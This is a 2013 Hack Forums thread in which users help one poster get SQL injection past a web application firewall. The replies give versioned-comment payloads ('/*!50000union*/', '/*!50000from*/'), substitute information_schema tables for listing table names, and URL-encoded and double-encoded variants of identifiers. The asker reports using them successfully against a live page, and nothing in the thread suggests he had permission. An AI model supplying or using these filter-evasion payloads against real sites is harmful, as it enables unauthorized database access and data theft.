

Forum:[Hack Forums](#)

Thread: [schema.tables WAF](#)

IAxAtiv - November 22, 2013, 6:21 am

Okay so i have a WAF that has been blocking certain words. I can bypass it with an easy comment and buffer overflow

ex. `/*!50000union*/`

I can access `information_schema.schemata` BUTT

when I try to access `information_schema.tables` .. it Hits me with the denied.
and using the comment & overflow doesnt work..

zZh4x0rZz - November 22, 2013, 7:06 am

You may try other alternative names for example:

- `information_schema.partitions`
- `information_schema.statistics`
- `information_schema.key_column_usage`
- `information_schema.table_constraints`

IAxAtiv - November 22, 2013, 7:41 am

(Nov 22, 2013 08:06 AM)zZh4x0rZz Wrote: [\[CITE\]](#) You may try other alternative names for example:

- `information_schema.partitions`
- `information_schema.statistics`
- `information_schema.key_column_usage`
- `information_schema.table_constraints`

And these will give me table name results?? Awesome! thank you very much. Iv had this occur to me like 3 times today... and couldn't find a way to manipulate `information_schema.tables`..

SIM-1241186 - November 22, 2013, 3:56 pm

often times it's not `"information_schema.tables"` that is being filtered, but it's actually `"from"` when being used before `information_schema.tables`

You can try

- `/*!from*/ information_schema.tables`
- `/*!50000from*/ information_schema.tables`

However, if the filter is on `information_schema.tables`, these might also work;

- `information_schema.//tables`
- `information%5Fschema.tables`
- `information%5Fschema.//tables`
- `information%255Fschema.tables`

etc.

`%5F` = url encoding for

`%255F` = double url encoding for

IAxAtiv - November 22, 2013, 10:06 pm

(Nov 22, 2013 04:56 PM)hackforumspang Wrote: [\[CITE\]](#) often times it's not "information_schema.tables" that is being filtered, but it's actually "from" when being used before information_schema.tables

You can try

```
/*!from*/ information_schema.tables  
/*!50000from*/ information_schema.tables
```

However, if the filter is on information_schema.tables, these might also work;
information_schema.//tables
information%5Fschema.tables
information%5Fschema.//tables
information%255Fschema.tables

etc.

%5F = url encoding for _

%255F = double url encoding for _

Yes im sure it was'nt from that was filtered as FROM information_schema.schemata worked fine.

But went back to the page and tried .statistics instead.. and worked fine.

Thnx zZh4x0rZz

zZh4x0rZz - November 22, 2013, 10:14 pm

(Nov 22, 2013 11:06 PM)IAxAtiv Wrote: [\[CITE\]](#) But went back to the page and tried .statistics instead.. and worked fine.

Thnx zZh4x0rZz

I'm glad that it can help you ?